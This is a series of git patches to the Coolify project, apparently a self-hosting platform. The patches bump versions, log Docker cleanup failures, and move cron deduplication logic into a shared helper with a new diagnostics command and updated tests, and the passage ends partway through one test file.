@@ -70,7 +70,7 @@ ### Big Sponsors
* [Arcjet](https://arcjet.com?ref=coolify.io) - Advanced web security and performance solutions
* [BC Direct](https://bc.direct?ref=coolify.io) - Your trusted technology consulting partner
* [Blacksmith](https://blacksmith.sh?ref=coolify.io) - Infrastructure automation platform
-* [Brand.dev](https://brand.dev?ref=coolify.io) - API to personalize your product with logos, colors, and company info from any domain
+* [Context.dev](https://context.dev?ref=coolify.io) - API to personalize your product with logos, colors, and company info from any domain
* [ByteBase](https://www.bytebase.com?ref=coolify.io) - Database CI/CD and Security at Scale
* [CodeRabbit](https://coderabbit.ai?ref=coolify.io) - Cut Code Review Time & Bugs in Half
* [COMIT](https://comit.international?ref=coolify.io) - New York Times award–winning contractor
From 069bf4cc82c1d534d0ef0df3d3d4679c1f827a36 Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Mon, 23 Mar 2026 10:35:16 +0100
Subject: [PATCH 032/168] chore(versions): bump coolify, sentinel, and traefik
versions
---
other/nightly/versions.json | 8 ++++----
versions.json | 8 ++++----
2 files changed, 8 insertions(+), 8 deletions(-)
diff --git a/other/nightly/versions.json b/other/nightly/versions.json
index 7564f625e..57bb21869 100644
--- a/other/nightly/versions.json
+++ b/other/nightly/versions.json
@@ -1,7 +1,7 @@
{
"coolify": {
"v4": {
- "version": "4.0.0-beta.469"
+ "version": "4.0.0-beta.470"
},
"nightly": {
"version": "4.0.0"
@@ -13,17 +13,17 @@
"version": "1.0.11"
},
"sentinel": {
- "version": "0.0.19"
+ "version": "0.0.20"
}
},
"traefik": {
- "v3.6": "3.6.5",
+ "v3.6": "3.6.11",
"v3.5": "3.5.6",
"v3.4": "3.4.5",
"v3.3": "3.3.7",
"v3.2": "3.2.5",
"v3.1": "3.1.7",
"v3.0": "3.0.4",
- "v2.11": "2.11.32"
+ "v2.11": "2.11.40"
}
}
diff --git a/versions.json b/versions.json
index 7564f625e..57bb21869 100644
--- a/versions.json
+++ b/versions.json
@@ -1,7 +1,7 @@
{
"coolify": {
"v4": {
- "version": "4.0.0-beta.469"
+ "version": "4.0.0-beta.470"
},
"nightly": {
"version": "4.0.0"
@@ -13,17 +13,17 @@
"version": "1.0.11"
},
"sentinel": {
- "version": "0.0.19"
+ "version": "0.0.20"
}
},
"traefik": {
- "v3.6": "3.6.5",
+ "v3.6": "3.6.11",
"v3.5": "3.5.6",
"v3.4": "3.4.5",
"v3.3": "3.3.7",
"v3.2": "3.2.5",
"v3.1": "3.1.7",
"v3.0": "3.0.4",
- "v2.11": "2.11.32"
+ "v2.11": "2.11.40"
}
}
From f0ed05b399bdfa9697423f4cfbab5b8722529519 Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Mon, 23 Mar 2026 10:35:47 +0100
Subject: [PATCH 033/168] fix(docker): log failed cleanup attempts when server
is not functional
---
app/Jobs/DockerCleanupJob.php | 14 ++++++++++----
1 file changed, 10 insertions(+), 4 deletions(-)
diff --git a/app/Jobs/DockerCleanupJob.php b/app/Jobs/DockerCleanupJob.php
index a8a3cb159..16f3d88ad 100644
--- a/app/Jobs/DockerCleanupJob.php
+++ b/app/Jobs/DockerCleanupJob.php
@@ -46,14 +46,20 @@ public function __construct(
public function handle(): void
{
try {
- if (! $this->server->isFunctional()) {
- return;
- }
-
$this->execution_log = DockerCleanupExecution::create([
'server_id' => $this->server->id,
]);
+ if (! $this->server->isFunctional()) {
+ $this->execution_log->update([
+ 'status' => 'failed',
+ 'message' => 'Server is not functional (unreachable, unusable, or disabled)',
+ 'finished_at' => Carbon::now()->toImmutable(),
+ ]);
+
+ return;
+ }
+
$this->usageBefore = $this->server->getDiskUsage();
if ($this->manualCleanup || $this->server->settings->force_docker_cleanup) {
From 89f2b83104cce1b4117b28539c5abb57d9b3522d Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Mon, 23 Mar 2026 10:36:08 +0100
Subject: [PATCH 034/168] style(modal-confirmation): improve mobile
responsiveness
Make modal full-screen on mobile devices with responsive padding,
border radius, and dimensions. Modal is now full-screen on small
screens and constrained to max-width/max-height on larger screens.
---
resources/views/components/modal-confirmation.blade.php | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/resources/views/components/modal-confirmation.blade.php b/resources/views/components/modal-confirmation.blade.php
index 615512b94..c1e8a3e54 100644
--- a/resources/views/components/modal-confirmation.blade.php
+++ b/resources/views/components/modal-confirmation.blade.php
@@ -190,7 +190,7 @@ class="relative w-auto h-auto">
@endif
+ class="fixed top-0 left-0 z-99 flex items-center justify-center w-screen h-screen p-0 sm:p-4" x-cloak>
+ class="relative w-full border rounded-none sm:rounded-sm min-w-full lg:min-w-[36rem] max-w-full sm:max-w-[48rem] h-screen sm:h-auto max-h-screen sm:max-h-[calc(100vh-2rem)] bg-neutral-100 border-neutral-400 dark:bg-base dark:border-coolgray-300 flex flex-col">
{{ $title }}
Date: Mon, 23 Mar 2026 10:37:49 +0100
Subject: [PATCH 035/168] refactor(scheduler): extract cron scheduling logic to
shared helper
Extract the shouldRunNow() method from ScheduledJobManager and ServerManagerJob into
a reusable shouldRunCronNow() helper function. This centralizes cron scheduling logic
and enables consistent deduplication behavior across all scheduled job types.
- Create shouldRunCronNow() helper in bootstrap/helpers/shared.php with timezone
and dedup support
- Refactor ScheduledJobManager and ServerManagerJob to use the shared helper
- Add ScheduledJobDiagnostics command for inspecting cache state and scheduling
decisions across all scheduled jobs
- Simplify shouldRunNow tests to directly test the helper function
- Add DockerCleanupJob test for error handling and execution tracking
- Increase scheduled log retention from 1 to 7 days
---
.../Commands/ScheduledJobDiagnostics.php | 255 ++++++++++++++++++
app/Jobs/ScheduledJobManager.php | 52 +---
app/Jobs/ServerManagerJob.php | 53 +---
bootstrap/helpers/shared.php | 30 +++
config/logging.php | 2 +-
tests/Feature/DockerCleanupJobTest.php | 50 ++++
.../ScheduledJobManagerShouldRunNowTest.php | 229 +++++-----------
.../ServerManagerJobShouldRunNowTest.php | 92 +++----
8 files changed, 446 insertions(+), 317 deletions(-)
create mode 100644 app/Console/Commands/ScheduledJobDiagnostics.php
create mode 100644 tests/Feature/DockerCleanupJobTest.php
diff --git a/app/Console/Commands/ScheduledJobDiagnostics.php b/app/Console/Commands/ScheduledJobDiagnostics.php
new file mode 100644
index 000000000..77881284c
--- /dev/null
+++ b/app/Console/Commands/ScheduledJobDiagnostics.php
@@ -0,0 +1,255 @@
+option('type');
+ $serverFilter = $this->option('server');
+
+ $this->outputHeartbeat();
+
+ if (in_array($type, ['all', 'docker-cleanup'])) {
+ $this->inspectDockerCleanups($serverFilter);
+ }
+
+ if (in_array($type, ['all', 'backups'])) {
+ $this->inspectBackups();
+ }
+
+ if (in_array($type, ['all', 'tasks'])) {
+ $this->inspectTasks();
+ }
+
+ if (in_array($type, ['all', 'server-jobs'])) {
+ $this->inspectServerJobs($serverFilter);
+ }
+
+ return self::SUCCESS;
+ }
+
+ private function outputHeartbeat(): void
+ {
+ $heartbeat = Cache::get('scheduled-job-manager:heartbeat');
+ if ($heartbeat) {
+ $age = Carbon::parse($heartbeat)->diffForHumans();
+ $this->info("Scheduler heartbeat: {$heartbeat} ({$age})");
+ } else {
+ $this->error('Scheduler heartbeat: MISSING — ScheduledJobManager may not be running');
+ }
+ $this->newLine();
+ }
+
+ private function inspectDockerCleanups(?string $serverFilter): void
+ {
+ $this->info('=== Docker Cleanup Jobs ===');
+
+ $servers = $this->getServers($serverFilter);
+
+ $rows = [];
+ foreach ($servers as $server) {
+ $frequency = data_get($server->settings, 'docker_cleanup_frequency', '0 * * * *');
+ if (isset(VALID_CRON_STRINGS[$frequency])) {
+ $frequency = VALID_CRON_STRINGS[$frequency];
+ }
+
+ $dedupKey = "docker-cleanup:{$server->id}";
+ $cacheValue = Cache::get($dedupKey);
+ $timezone = data_get($server->settings, 'server_timezone', config('app.timezone'));
+
+ if (validate_timezone($timezone) === false) {
+ $timezone = config('app.timezone');
+ }
+
+ $wouldFire = shouldRunCronNow($frequency, $timezone, $dedupKey);
+
+ $lastExecution = DockerCleanupExecution::where('server_id', $server->id)
+ ->latest()
+ ->first();
+
+ $rows[] = [
+ $server->id,
+ $server->name,
+ $timezone,
+ $frequency,
+ $dedupKey,
+ $cacheValue ?? '',
+ $wouldFire ? 'YES' : 'no',
+ $lastExecution ? $lastExecution->status.' @ '.$lastExecution->created_at : 'never',
+ ];
+ }
+
+ $this->table(
+ ['ID', 'Server', 'TZ', 'Frequency', 'Dedup Key', 'Cache Value', 'Would Fire', 'Last Execution'],
+ $rows
+ );
+ $this->newLine();
+ }
+
+ private function inspectBackups(): void
+ {
+ $this->info('=== Scheduled Backups ===');
+
+ $backups = ScheduledDatabaseBackup::with(['database'])
+ ->where('enabled', true)
+ ->get();
+
+ $rows = [];
+ foreach ($backups as $backup) {
+ $server = $backup->server();
+ $frequency = $backup->frequency;
+ if (isset(VALID_CRON_STRINGS[$frequency])) {
+ $frequency = VALID_CRON_STRINGS[$frequency];
+ }
+
+ $dedupKey = "scheduled-backup:{$backup->id}";
+ $cacheValue = Cache::get($dedupKey);
+ $timezone = $server ? data_get($server->settings, 'server_timezone', config('app.timezone')) : config('app.timezone');
+
+ if (validate_timezone($timezone) === false) {
+ $timezone = config('app.timezone');
+ }
+
+ $wouldFire = shouldRunCronNow($frequency, $timezone, $dedupKey);
+
+ $rows[] = [
+ $backup->id,
+ $backup->database_type ?? 'unknown',
+ $server?->name ?? 'N/A',
+ $frequency,
+ $cacheValue ?? '',
+ $wouldFire ? 'YES' : 'no',
+ ];
+ }
+
+ $this->table(
+ ['Backup ID', 'DB Type', 'Server', 'Frequency', 'Cache Value', 'Would Fire'],
+ $rows
+ );
+ $this->newLine();
+ }
+
+ private function inspectTasks(): void
+ {
+ $this->info('=== Scheduled Tasks ===');
+
+ $tasks = ScheduledTask::with(['service', 'application'])
+ ->where('enabled', true)
+ ->get();
+
+ $rows = [];
+ foreach ($tasks as $task) {
+ $server = $task->server();
+ $frequency = $task->frequency;
+ if (isset(VALID_CRON_STRINGS[$frequency])) {
+ $frequency = VALID_CRON_STRINGS[$frequency];
+ }
+
+ $dedupKey = "scheduled-task:{$task->id}";
+ $cacheValue = Cache::get($dedupKey);
+ $timezone = $server ? data_get($server->settings, 'server_timezone', config('app.timezone')) : config('app.timezone');
+
+ if (validate_timezone($timezone) === false) {
+ $timezone = config('app.timezone');
+ }
+
+ $wouldFire = shouldRunCronNow($frequency, $timezone, $dedupKey);
+
+ $rows[] = [
+ $task->id,
+ $task->name,
+ $server?->name ?? 'N/A',
+ $frequency,
+ $cacheValue ?? '',
+ $wouldFire ? 'YES' : 'no',
+ ];
+ }
+
+ $this->table(
+ ['Task ID', 'Name', 'Server', 'Frequency', 'Cache Value', 'Would Fire'],
+ $rows
+ );
+ $this->newLine();
+ }
+
+ private function inspectServerJobs(?string $serverFilter): void
+ {
+ $this->info('=== Server Manager Jobs ===');
+
+ $servers = $this->getServers($serverFilter);
+
+ $rows = [];
+ foreach ($servers as $server) {
+ $timezone = data_get($server->settings, 'server_timezone', config('app.timezone'));
+ if (validate_timezone($timezone) === false) {
+ $timezone = config('app.timezone');
+ }
+
+ $dedupKeys = [
+ "sentinel-restart:{$server->id}" => '0 0 * * *',
+ "server-patch-check:{$server->id}" => '0 0 * * 0',
+ "server-check:{$server->id}" => isCloud() ? '*/5 * * * *' : '* * * * *',
+ "server-storage-check:{$server->id}" => data_get($server->settings, 'server_disk_usage_check_frequency', '0 23 * * *'),
+ ];
+
+ foreach ($dedupKeys as $dedupKey => $frequency) {
+ if (isset(VALID_CRON_STRINGS[$frequency])) {
+ $frequency = VALID_CRON_STRINGS[$frequency];
+ }
+
+ $cacheValue = Cache::get($dedupKey);
+ $wouldFire = shouldRunCronNow($frequency, $timezone, $dedupKey);
+
+ $rows[] = [
+ $server->id,
+ $server->name,
+ $dedupKey,
+ $frequency,
+ $cacheValue ?? '',
+ $wouldFire ? 'YES' : 'no',
+ ];
+ }
+ }
+
+ $this->table(
+ ['Server ID', 'Server', 'Dedup Key', 'Frequency', 'Cache Value', 'Would Fire'],
+ $rows
+ );
+ $this->newLine();
+ }
+
+ private function getServers(?string $serverFilter): \Illuminate\Support\Collection
+ {
+ $query = Server::with('settings')->where('ip', '!=', '1.2.3.4');
+
+ if ($serverFilter) {
+ $query->where('id', $serverFilter);
+ }
+
+ if (isCloud()) {
+ $servers = $query->whereRelation('team.subscription', 'stripe_invoice_paid', true)->get();
+ $own = Team::find(0)?->servers()->with('settings')->get() ?? collect();
+
+ return $servers->merge($own);
+ }
+
+ return $query->get();
+ }
+}
diff --git a/app/Jobs/ScheduledJobManager.php b/app/Jobs/ScheduledJobManager.php
index ebcd229ed..71829ea41 100644
--- a/app/Jobs/ScheduledJobManager.php
+++ b/app/Jobs/ScheduledJobManager.php
@@ -6,7 +6,6 @@
use App\Models\ScheduledTask;
use App\Models\Server;
use App\Models\Team;
-use Cron\CronExpression;
use Illuminate\Bus\Queueable;
use Illuminate\Contracts\Queue\ShouldQueue;
use Illuminate\Foundation\Bus\Dispatchable;
@@ -185,7 +184,7 @@ private function processScheduledBackups(): void
$frequency = VALID_CRON_STRINGS[$frequency];
}
- if ($this->shouldRunNow($frequency, $serverTimezone, "scheduled-backup:{$backup->id}")) {
+ if (shouldRunCronNow($frequency, $serverTimezone, "scheduled-backup:{$backup->id}", $this->executionTime)) {
DatabaseBackupJob::dispatch($backup);
$this->dispatchedCount++;
Log::channel('scheduled')->info('Backup dispatched', [
@@ -239,7 +238,7 @@ private function processScheduledTasks(): void
$frequency = VALID_CRON_STRINGS[$frequency];
}
- if (! $this->shouldRunNow($frequency, $serverTimezone, "scheduled-task:{$task->id}")) {
+ if (! shouldRunCronNow($frequency, $serverTimezone, "scheduled-task:{$task->id}", $this->executionTime)) {
continue;
}
@@ -336,51 +335,6 @@ private function getTaskRuntimeSkipReason(ScheduledTask $task): ?string
return null;
}
- /**
- * Determine if a cron schedule should run now.
- *
- * When a dedupKey is provided, uses getPreviousRunDate() + last-dispatch tracking
- * instead of isDue(). This is resilient to queue delays — even if the job is delayed
- * by minutes, it still catches the missed cron window. Without dedupKey, falls back
- * to simple isDue() check.
- */
- private function shouldRunNow(string $frequency, string $timezone, ?string $dedupKey = null): bool
- {
- $cron = new CronExpression($frequency);
- $baseTime = $this->executionTime ?? Carbon::now();
- $executionTime = $baseTime->copy()->setTimezone($timezone);
-
- // No dedup key → simple isDue check
- if ($dedupKey === null) {
- return $cron->isDue($executionTime);
- }
-
- // Get the most recent time this cron was due (including current minute)
- $previousDue = Carbon::instance($cron->getPreviousRunDate($executionTime, allowCurrentDate: true));
-
- $lastDispatched = Cache::get($dedupKey);
-
- if ($lastDispatched === null) {
- // First run after restart or cache loss: only fire if actually due right now.
- // Seed the cache so subsequent runs can use tolerance/catch-up logic.
- $isDue = $cron->isDue($executionTime);
- if ($isDue) {
- Cache::put($dedupKey, $executionTime->toIso8601String(), 86400);
- }
-
- return $isDue;
- }
-
- // Subsequent runs: fire if there's been a due time since last dispatch
- if ($previousDue->gt(Carbon::parse($lastDispatched))) {
- Cache::put($dedupKey, $executionTime->toIso8601String(), 86400);
-
- return true;
- }
-
- return false;
- }
-
private function processDockerCleanups(): void
{
// Get all servers that need cleanup checks
@@ -411,7 +365,7 @@ private function processDockerCleanups(): void
}
// Use the frozen execution time for consistent evaluation
- if ($this->shouldRunNow($frequency, $serverTimezone, "docker-cleanup:{$server->id}")) {
+ if (shouldRunCronNow($frequency, $serverTimezone, "docker-cleanup:{$server->id}", $this->executionTime)) {
DockerCleanupJob::dispatch(
$server,
false,
diff --git a/app/Jobs/ServerManagerJob.php b/app/Jobs/ServerManagerJob.php
index d56ff0a8c..3f748f0ca 100644
--- a/app/Jobs/ServerManagerJob.php
+++ b/app/Jobs/ServerManagerJob.php
@@ -5,7 +5,6 @@
use App\Models\InstanceSettings;
use App\Models\Server;
use App\Models\Team;
-use Cron\CronExpression;
use Illuminate\Bus\Queueable;
use Illuminate\Contracts\Queue\ShouldBeEncrypted;
use Illuminate\Contracts\Queue\ShouldQueue;
@@ -14,7 +13,6 @@
use Illuminate\Queue\SerializesModels;
use Illuminate\Support\Carbon;
use Illuminate\Support\Collection;
-use Illuminate\Support\Facades\Cache;
use Illuminate\Support\Facades\Log;
class ServerManagerJob implements ShouldBeEncrypted, ShouldQueue
@@ -81,7 +79,7 @@ private function getServers(): Collection
private function dispatchConnectionChecks(Collection $servers): void
{
- if ($this->shouldRunNow($this->checkFrequency, dedupKey: 'server-connection-checks')) {
+ if (shouldRunCronNow($this->checkFrequency, $this->instanceTimezone, 'server-connection-checks', $this->executionTime)) {
$servers->each(function (Server $server) {
try {
// Skip SSH connection check if Sentinel is healthy — its heartbeat already proves connectivity
@@ -130,13 +128,13 @@ private function processServerTasks(Server $server): void
if ($sentinelOutOfSync) {
// Dispatch ServerCheckJob if Sentinel is out of sync
- if ($this->shouldRunNow($this->checkFrequency, $serverTimezone, "server-check:{$server->id}")) {
+ if (shouldRunCronNow($this->checkFrequency, $serverTimezone, "server-check:{$server->id}", $this->executionTime)) {
ServerCheckJob::dispatch($server);
}
}
$isSentinelEnabled = $server->isSentinelEnabled();
- $shouldRestartSentinel = $isSentinelEnabled && $this->shouldRunNow('0 0 * * *', $serverTimezone, "sentinel-restart:{$server->id}");
+ $shouldRestartSentinel = $isSentinelEnabled && shouldRunCronNow('0 0 * * *', $serverTimezone, "sentinel-restart:{$server->id}", $this->executionTime);
// Dispatch Sentinel restart if due (daily for Sentinel-enabled servers)
if ($shouldRestartSentinel) {
@@ -150,7 +148,7 @@ private function processServerTasks(Server $server): void
if (isset(VALID_CRON_STRINGS[$serverDiskUsageCheckFrequency])) {
$serverDiskUsageCheckFrequency = VALID_CRON_STRINGS[$serverDiskUsageCheckFrequency];
}
- $shouldRunStorageCheck = $this->shouldRunNow($serverDiskUsageCheckFrequency, $serverTimezone, "server-storage-check:{$server->id}");
+ $shouldRunStorageCheck = shouldRunCronNow($serverDiskUsageCheckFrequency, $serverTimezone, "server-storage-check:{$server->id}", $this->executionTime);
if ($shouldRunStorageCheck) {
ServerStorageCheckJob::dispatch($server);
@@ -158,7 +156,7 @@ private function processServerTasks(Server $server): void
}
// Dispatch ServerPatchCheckJob if due (weekly)
- $shouldRunPatchCheck = $this->shouldRunNow('0 0 * * 0', $serverTimezone, "server-patch-check:{$server->id}");
+ $shouldRunPatchCheck = shouldRunCronNow('0 0 * * 0', $serverTimezone, "server-patch-check:{$server->id}", $this->executionTime);
if ($shouldRunPatchCheck) { // Weekly on Sunday at midnight
ServerPatchCheckJob::dispatch($server);
@@ -167,45 +165,4 @@ private function processServerTasks(Server $server): void
// Note: CheckAndStartSentinelJob is only dispatched daily (line above) for version updates.
// Crash recovery is handled by sentinelOutOfSync → ServerCheckJob → CheckAndStartSentinelJob.
}
-
- /**
- * Determine if a cron schedule should run now.
- *
- * When a dedupKey is provided, uses getPreviousRunDate() + last-dispatch tracking
- * instead of isDue(). This is resilient to queue delays — even if the job is delayed
- * by minutes, it still catches the missed cron window.
- */
- private function shouldRunNow(string $frequency, ?string $timezone = null, ?string $dedupKey = null): bool
- {
- $cron = new CronExpression($frequency);
-
- // Use the frozen execution time, not the current time
- $baseTime = $this->executionTime ?? Carbon::now();
- $executionTime = $baseTime->copy()->setTimezone($timezone ?? config('app.timezone'));
-
- if ($dedupKey === null) {
- return $cron->isDue($executionTime);
- }
-
- $previousDue = Carbon::instance($cron->getPreviousRunDate($executionTime, allowCurrentDate: true));
-
- $lastDispatched = Cache::get($dedupKey);
-
- if ($lastDispatched === null) {
- $isDue = $cron->isDue($executionTime);
- if ($isDue) {
- Cache::put($dedupKey, $executionTime->toIso8601String(), 86400);
- }
-
- return $isDue;
- }
-
- if ($previousDue->gt(Carbon::parse($lastDispatched))) {
- Cache::put($dedupKey, $executionTime->toIso8601String(), 86400);
-
- return true;
- }
-
- return false;
- }
}
diff --git a/bootstrap/helpers/shared.php b/bootstrap/helpers/shared.php
index e81d2a467..26aa21a7b 100644
--- a/bootstrap/helpers/shared.php
+++ b/bootstrap/helpers/shared.php
@@ -466,6 +466,36 @@ function validate_cron_expression($expression_to_validate): bool
return $isValid;
}
+/**
+ * Determine if a cron schedule should run now, with deduplication.
+ *
+ * Uses getPreviousRunDate() + last-dispatch tracking to be resilient to queue delays.
+ * Even if the job runs minutes late, it still catches the missed cron window.
+ * Without a dedupKey, falls back to a simple isDue() check.
+ */
+function shouldRunCronNow(string $frequency, string $timezone, ?string $dedupKey = null, ?\Illuminate\Support\Carbon $executionTime = null): bool
+{
+ $cron = new \Cron\CronExpression($frequency);
+ $executionTime = ($executionTime ?? \Illuminate\Support\Carbon::now())->copy()->setTimezone($timezone);
+
+ if ($dedupKey === null) {
+ return $cron->isDue($executionTime);
+ }
+
+ $previousDue = \Illuminate\Support\Carbon::instance($cron->getPreviousRunDate($executionTime, allowCurrentDate: true));
+ $lastDispatched = Cache::get($dedupKey);
+
+ $shouldFire = $lastDispatched === null
+ ? $cron->isDue($executionTime)
+ : $previousDue->gt(\Illuminate\Support\Carbon::parse($lastDispatched));
+
+ // Always write: seeds on first miss, refreshes on dispatch.
+ // 30-day static TTL covers all intervals; orphan keys self-clean.
+ Cache::put($dedupKey, ($shouldFire ? $executionTime : $previousDue)->toIso8601String(), 2592000);
+
+ return $shouldFire;
+}
+
function validate_timezone(string $timezone): bool
{
return in_array($timezone, timezone_identifiers_list());
diff --git a/config/logging.php b/config/logging.php
index 1a75978f3..1dbb1135f 100644
--- a/config/logging.php
+++ b/config/logging.php
@@ -123,7 +123,7 @@
'driver' => 'daily',
'path' => storage_path('logs/scheduled.log'),
'level' => 'debug',
- 'days' => 1,
+ 'days' => 7,
],
'scheduled-errors' => [
diff --git a/tests/Feature/DockerCleanupJobTest.php b/tests/Feature/DockerCleanupJobTest.php
new file mode 100644
index 000000000..446260e22
--- /dev/null
+++ b/tests/Feature/DockerCleanupJobTest.php
@@ -0,0 +1,50 @@
+create();
+ $team = $user->teams()->first();
+ $server = Server::factory()->create(['team_id' => $team->id]);
+
+ // Make server not functional by setting is_reachable to false
+ $server->settings->update(['is_reachable' => false]);
+
+ $job = new DockerCleanupJob($server);
+ $job->handle();
+
+ $execution = DockerCleanupExecution::where('server_id', $server->id)->first();
+
+ expect($execution)->not->toBeNull()
+ ->and($execution->status)->toBe('failed')
+ ->and($execution->message)->toContain('not functional')
+ ->and($execution->finished_at)->not->toBeNull();
+});
+
+it('creates a failed execution record when server is force disabled', function () {
+ $user = User::factory()->create();
+ $team = $user->teams()->first();
+ $server = Server::factory()->create(['team_id' => $team->id]);
+
+ // Make server not functional by force disabling
+ $server->settings->update([
+ 'is_reachable' => true,
+ 'is_usable' => true,
+ 'force_disabled' => true,
+ ]);
+
+ $job = new DockerCleanupJob($server);
+ $job->handle();
+
+ $execution = DockerCleanupExecution::where('server_id', $server->id)->first();
+
+ expect($execution)->not->toBeNull()
+ ->and($execution->status)->toBe('failed')
+ ->and($execution->message)->toContain('not functional');
+});
diff --git a/tests/Feature/ScheduledJobManagerShouldRunNowTest.php b/tests/Feature/ScheduledJobManagerShouldRunNowTest.php
index e445e9908..84db743fa 100644
--- a/tests/Feature/ScheduledJobManagerShouldRunNowTest.php
+++ b/tests/Feature/ScheduledJobManagerShouldRunNowTest.php
@@ -1,271 +1,168 @@
getProperty('executionTime');
- $executionTimeProp->setAccessible(true);
- $executionTimeProp->setValue($job, Carbon::now());
-
- $method = $reflection->getMethod('shouldRunNow');
- $method->setAccessible(true);
-
- $result = $method->invoke($job, '0 2 * * *', 'UTC', 'test-backup:1');
+ $result = shouldRunCronNow('0 2 * * *', 'UTC', 'test-backup:1');
expect($result)->toBeTrue();
});
it('catches delayed job when cache has a baseline from previous run', function () {
- // Simulate a previous dispatch yesterday at 02:00
Cache::put('test-backup:1', Carbon::create(2026, 2, 27, 2, 0, 0, 'UTC')->toIso8601String(), 86400);
- // Freeze time at 02:07 — job was delayed 7 minutes past today's 02:00 cron
Carbon::setTestNow(Carbon::create(2026, 2, 28, 2, 7, 0, 'UTC'));
- $job = new ScheduledJobManager;
-
- $reflection = new ReflectionClass($job);
-
- $executionTimeProp = $reflection->getProperty('executionTime');
- $executionTimeProp->setAccessible(true);
- $executionTimeProp->setValue($job, Carbon::now());
-
- $method = $reflection->getMethod('shouldRunNow');
- $method->setAccessible(true);
-
// isDue() would return false at 02:07, but getPreviousRunDate() = 02:00 today
// lastDispatched = 02:00 yesterday → 02:00 today > yesterday → fires
- $result = $method->invoke($job, '0 2 * * *', 'UTC', 'test-backup:1');
+ $result = shouldRunCronNow('0 2 * * *', 'UTC', 'test-backup:1');
expect($result)->toBeTrue();
});
it('does not double-dispatch on subsequent runs within same cron window', function () {
- // First run at 02:00 — dispatches and sets cache
Carbon::setTestNow(Carbon::create(2026, 2, 28, 2, 0, 0, 'UTC'));
- $job = new ScheduledJobManager;
- $reflection = new ReflectionClass($job);
-
- $executionTimeProp = $reflection->getProperty('executionTime');
- $executionTimeProp->setAccessible(true);
- $executionTimeProp->setValue($job, Carbon::now());
-
- $method = $reflection->getMethod('shouldRunNow');
- $method->setAccessible(true);
-
- $first = $method->invoke($job, '0 2 * * *', 'UTC', 'test-backup:2');
+ $first = shouldRunCronNow('0 2 * * *', 'UTC', 'test-backup:2');
expect($first)->toBeTrue();
// Second run at 02:01 — should NOT dispatch (previousDue=02:00, lastDispatched=02:00)
Carbon::setTestNow(Carbon::create(2026, 2, 28, 2, 1, 0, 'UTC'));
- $executionTimeProp->setValue($job, Carbon::now());
- $second = $method->invoke($job, '0 2 * * *', 'UTC', 'test-backup:2');
+ $second = shouldRunCronNow('0 2 * * *', 'UTC', 'test-backup:2');
expect($second)->toBeFalse();
});
it('fires every_minute cron correctly on consecutive minutes', function () {
- $job = new ScheduledJobManager;
- $reflection = new ReflectionClass($job);
-
- $executionTimeProp = $reflection->getProperty('executionTime');
- $executionTimeProp->setAccessible(true);
-
- $method = $reflection->getMethod('shouldRunNow');
- $method->setAccessible(true);
-
// Minute 1
Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 0, 0, 'UTC'));
- $executionTimeProp->setValue($job, Carbon::now());
- $result1 = $method->invoke($job, '* * * * *', 'UTC', 'test-backup:3');
- expect($result1)->toBeTrue();
+ expect(shouldRunCronNow('* * * * *', 'UTC', 'test-backup:3'))->toBeTrue();
// Minute 2
Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 1, 0, 'UTC'));
- $executionTimeProp->setValue($job, Carbon::now());
- $result2 = $method->invoke($job, '* * * * *', 'UTC', 'test-backup:3');
- expect($result2)->toBeTrue();
+ expect(shouldRunCronNow('* * * * *', 'UTC', 'test-backup:3'))->toBeTrue();
// Minute 3
Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 2, 0, 'UTC'));
- $executionTimeProp->setValue($job, Carbon::now());
- $result3 = $method->invoke($job, '* * * * *', 'UTC', 'test-backup:3');
- expect($result3)->toBeTrue();
+ expect(shouldRunCronNow('* * * * *', 'UTC', 'test-backup:3'))->toBeTrue();
});
it('does not fire non-due jobs on restart when cache is empty', function () {
// Time is 10:00, cron is daily at 02:00 — NOT due right now
Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 0, 0, 'UTC'));
- $job = new ScheduledJobManager;
- $reflection = new ReflectionClass($job);
-
- $executionTimeProp = $reflection->getProperty('executionTime');
- $executionTimeProp->setAccessible(true);
- $executionTimeProp->setValue($job, Carbon::now());
-
- $method = $reflection->getMethod('shouldRunNow');
- $method->setAccessible(true);
-
- // Cache is empty (fresh restart) — should NOT fire daily backup at 10:00
- $result = $method->invoke($job, '0 2 * * *', 'UTC', 'test-backup:4');
+ $result = shouldRunCronNow('0 2 * * *', 'UTC', 'test-backup:4');
expect($result)->toBeFalse();
});
it('fires due jobs on restart when cache is empty', function () {
- // Time is exactly 02:00, cron is daily at 02:00 — IS due right now
Carbon::setTestNow(Carbon::create(2026, 2, 28, 2, 0, 0, 'UTC'));
- $job = new ScheduledJobManager;
- $reflection = new ReflectionClass($job);
-
- $executionTimeProp = $reflection->getProperty('executionTime');
- $executionTimeProp->setAccessible(true);
- $executionTimeProp->setValue($job, Carbon::now());
-
- $method = $reflection->getMethod('shouldRunNow');
- $method->setAccessible(true);
-
- // Cache is empty (fresh restart) — but cron IS due → should fire
- $result = $method->invoke($job, '0 2 * * *', 'UTC', 'test-backup:4b');
+ $result = shouldRunCronNow('0 2 * * *', 'UTC', 'test-backup:4b');
expect($result)->toBeTrue();
});
it('does not dispatch when cron is not due and was not recently due', function () {
- // Time is 10:00, cron is daily at 02:00 — last due was 8 hours ago
Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 0, 0, 'UTC'));
- $job = new ScheduledJobManager;
- $reflection = new ReflectionClass($job);
-
- $executionTimeProp = $reflection->getProperty('executionTime');
- $executionTimeProp->setAccessible(true);
- $executionTimeProp->setValue($job, Carbon::now());
-
- $method = $reflection->getMethod('shouldRunNow');
- $method->setAccessible(true);
-
- // previousDue = 02:00, but lastDispatched was set at 02:00 (simulate)
Cache::put('test-backup:5', Carbon::create(2026, 2, 28, 2, 0, 0, 'UTC')->toIso8601String(), 86400);
- $result = $method->invoke($job, '0 2 * * *', 'UTC', 'test-backup:5');
+ $result = shouldRunCronNow('0 2 * * *', 'UTC', 'test-backup:5');
expect($result)->toBeFalse();
});
it('falls back to isDue when no dedup key is provided', function () {
- // Time is exactly 02:00, cron is "0 2 * * *" — should be due
